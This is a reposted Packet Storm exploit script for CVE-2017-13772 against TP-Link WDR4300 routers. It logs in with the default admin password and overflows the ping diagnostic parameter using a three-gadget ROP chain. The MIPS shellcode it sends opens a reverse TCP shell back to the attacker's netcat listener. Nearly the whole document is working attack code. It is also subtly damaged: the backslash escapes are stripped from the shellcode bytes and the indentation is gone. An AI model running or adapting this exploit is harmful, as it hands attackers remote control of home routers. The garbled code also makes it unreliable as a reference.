TP-Link WDR4300 Remote Code Execution ≈ Packet Storm – Digitalmunition




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Published on September 1st, 2020 📆 | 7889 Views ⚑

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TP-Link WDR4300 Remote Code Execution ≈ Packet Storm

#!/usr/bin/python3

import sys
import hashlib
import base64
import requests
import binascii
import socket

“””
RCE via stack-based overflow on TP-Link WDR4300 (N750) devices, using CVE-2017-13772.
Tested on Firmware versions 3.13.33, Build 130618 and 3.14.3 Build 150518, hardware WDR4300 v1

Usage:
1) Start listener on attacker machine: nc -nlvvp 31337
2) Execute script: python exploit.py

“””

def main(argv):
if len(sys.argv) < 2:
print(“Usage: python exploit.py “)
sys.exit(1)

password = “admin”
target = “192.168.0.1:80”
attacker_ip = sys.argv[1]

attacker = binascii.hexlify(socket.inet_aton(attacker_ip))
ip = [attacker[i:i+2] for i in range(0, len(attacker), 2)]

if ’00’ in ip or ’20’ in ip:
print(“[-] Specified attacker IP will result in bad characters being present in the shellcode. Avoid any IPs containing .0. and .32.”)
sys.exit(1)

url = “http://” + target + “/”
try:
r = requests.get(url=url)
except:
print(“[-] Could not connect to target: ” + target)
sys.exit(1)

if ‘WWW-Authenticate’ in r.headers.keys():
if not ‘WDR4300’ in r.headers[‘WWW-Authenticate’]:
print(“[-] This is not TP-Link WDR4300 (N750)”)
sys.exit(1)
else:
print(“[-] This does not seem to be the web interface of a router!”)

credentials = “admin” + “:” + hashlib.md5(password).hexdigest()
auth = base64.b64encode(credentials)
url = “http://” + target + “/userRpm/LoginRpm.htm?Save=Save”

print(“[+] Setting target to: ” + target)
print(“[+] Using default admin password: ” + password)
print(“[+] Cookie set to: Authorization=Basic%20” + auth)

h = {}
h[“Cookie”] = “Authorization=Basic%20” + auth
h[‘Upgrade-Insecure-Requests’] = ‘1’
h[‘Referer’] = ‘http://’ + target + ‘/’

r = requests.get(url = url, headers=h)
data = r.text
if “httpAutErrorArray” in data:
print(‘[-] Could not login to the admin interface’)
sys.exit(1)

older_fw = False
# older firmware, e.g., 3.13.33
if “Login Incorrect” in data:
print(“[-] Incorrect login, perhaps an older firmware? Sending digest authentication using the Authorization header instead..”)
credentials = “admin:” + password
auth = base64.b64encode(credentials)
url = “http://” + target + “/”
h = {}
h[“Authorization”] = “Basic%20” + auth
h[‘Upgrade-Insecure-Requests’] = ‘1’
h[‘Referer’] = ‘http://’ + target + ‘/’
r = requests.get(url = url, headers=h)
data = r.text
if ‘window.parent.location.href’ not in data:
print(“[-] Failed to login to the admin interface”)
sys.exit(1)
print(‘[+] Older firmware confirmed, successfully logged in’)
older_fw = True

authenticated_url = data.split(‘window.parent.location.href = ‘)[1].split(‘;’)[0].replace(‘”‘,”)

unique_id = ”
if not older_fw:
unique_id = authenticated_url.split(‘/userRpm’)[0].split(‘/’)[3] + ‘/’
print(“[+] Authentication succeeded, got unique id: ” + unique_id.replace(‘/’,”))

# now we deliver the exploit payload via a GET request
h[‘Referer’] = ‘http://’ + target + ‘/’ + unique_id + ‘userRpm/DiagnosticRpm.htm’

# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
nopsled = “”
for i in range(12):
nopsled += “x26x40x08x01”

# identified bad characters: 0x20,0x00
# Using reverse tcp shellcode from https://www.exploit-db.com/exploits/45541
buf = b””
buf += “x24x0fxffxfa” # li $t7, -6
buf += “x01xe0x78x27” # nor $t7, $zero
buf += “x21xe4xffxfd” # addi $a0, $t7, -3
buf += “x21xe5xffxfd” # addi $a1, $t7, -3
buf += “x28x06xffxff” # slti $a2, $zero, -1
buf += “x24x02x10x57” # li $v0, 4183 ( sys_socket )
buf += “x01x01x01x0c” # syscall 0x40404
buf += “xafxa2xffxff” # sw $v0, -1($sp)
buf += “x8fxa4xffxff” # lw $a0, -1($sp)
buf += “x34x0fxffxfd” # li $t7, -3 ( sa_family = AF_INET )
buf += “x01xe0x78x27” # nor $t7, $zero
buf += “xafxafxffxe0” # sw $t7, -0x20($sp)
buf += “x3cx0ex7ax69” # lui $t6, 0x7a69 ( sin_port = 0x7a69 )
buf += “x35xcex7ax69” # ori $t6, $t6, 0x7a69
buf += “xafxaexffxe4” # sw $t6, -0x1c($sp)
buf += “x3cx0e” + ip[0].decode(‘hex’) + ip[1].decode(‘hex’) # lui $t6, 0xAABB ( sin_addr = 0xAABB …
buf += “x35xce” + ip[2].decode(‘hex’) + ip[3].decode(‘hex’) # ori $t6, $t6, 0xCCDD … 0xCCDD
buf += “xafxaexffxe6” # sw $t6, -0x1a($sp)
buf += “x27xa5xffxe2” # addiu $a1, $sp, -0x1e
buf += “x24x0cxffxef” # li $t4, -17 ( addrlen = 16 )
buf += “x01x80x30x27” # nor $a2, $t4, $zero
buf += “x24x02x10x4a” # li $v0, 4170 ( sys_connect )
buf += “x01x01x01x0c” # syscall 0x40404
buf += “x24x0fxffxfd” # li t7,-3
buf += “x01xe0x28x27” # nor a1,t7,zero
buf += “x8fxa4xffxff” # lw $a0, -1($sp)
buf += “x24x02x0fxdf” # li $v0, 4063 ( sys_dup2 )
buf += “x01x01x01x0c” # syscall 0x40404
buf += “x24xa5xffxff” # addi a1,a1,-1 (x20xa5xffxff)
buf += “x24x01xffxff” # li at,-1
buf += “x14xa1xffxfb” # bne a1,at, dup2_loop
buf += “x28x06xffxff” # slti $a2, $zero, -1
buf += “x3cx0fx2fx2f” # lui $t7, 0x2f2f
buf += “x35xefx62x69” # ori $t7, $t7, 0x6269
buf += “xafxafxffxec” # sw $t7, -0x14($sp)
buf += “x3cx0ex6ex2f” # lui $t6, 0x6e2f
buf += “x35xcex73x68” # ori $t6, $t6, 0x7368
buf += “xafxaexffxf0” # sw $t6, -0x10($sp)
buf += “xafxa0xffxf4” # sw $zero, -0xc($sp)
buf += “x27xa4xffxec” # addiu $a0, $sp, -0x14
buf += “xafxa4xffxf8” # sw $a0, -8($sp)
buf += “xafxa0xffxfc” # sw $zero, -4($sp)
buf += “x27xa5xffxf8” # addiu $a1, $sp, -8
buf += “x24x02x0fxab” # li $v0, 4011 (sys_execve)
buf += “x01x01x01x0c” # syscall 0x40404

shellcode = nopsled + buf

“””
We control $ra, $s0 and $s1 via the buffer overflow.

libc_base: 0x2aae2000
First ROP (sleep_gadget): 0x0004c974 + libc_base = 0x2ab2e974
0x0004c97c move t9, s0
0x0004c980 lw ra, (var_1ch)
0x0004c984 lw s0, (var_18h)
0x0004c988 addiu a0, zero, 2 ; arg1
0x0004c98c addiu a1, zero, 1 ; arg2
0x0004c990 move a2, zero
0x0004c994 jr t9

sleep is located at 0x00053ca0 => so $s0 = 0x2ab35ca0

This gadget calls sleep, in this gadget we also set the return adress to the second ROP gadget which is controlled by setting appropriate value on the stack location 0x1c($sp), due to the instruction at 0x0004c980.

Second ROP (stack_gadget): 0x00039fa8 + libc_base = 0x2ab1bfa8
0x00039fa8 addiu s0, sp, 0x28
0x00039fac move a0, s3
0x00039fb0 move a1, s0
0x00039fb4 move t9, s1
0x00039fb8 jalr t9

This gadget will set s0 to point our shellcode on the stack, that must be located at sp+0x28.
Then as we control s1, we jump to the last and third ROP gadget.

Third ROP (call_gadget): 0x000406d8 + libc_base = 0x2ab226d8
0x000406d8 move t9, s0
0x000406dc jalr t9

Jump to the shellcode pointed in s0.
“””

sleep_addr = “x2axb3x5cxa0”
sleep_gadget = “x2axb2xe9x74”
stack_gadget = “x2axb1xbfxa8”
call_gadget = “x2axb2x26xd8”

junk = “J”*28
payload = “A”*160 + sleep_addr + call_gadget + sleep_gadget + junk + stack_gadget + shellcode

p = {‘ping_addr’: payload, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ‘4’, ‘pSize’:64, ‘overTime’:’800′, ‘trHops’:’20’}
url = “http://” + target + “/” + unique_id + “userRpm/PingIframeRpm.htm”
print(“[+] Delivering exploit payload to: ” + url)
try:
r = requests.get(url = url, params=p, headers=h, timeout=10)
except:
print(“[+] Finished delivering exploit”)

if __name__ == “__main__”:
main(sys.argv[1:])

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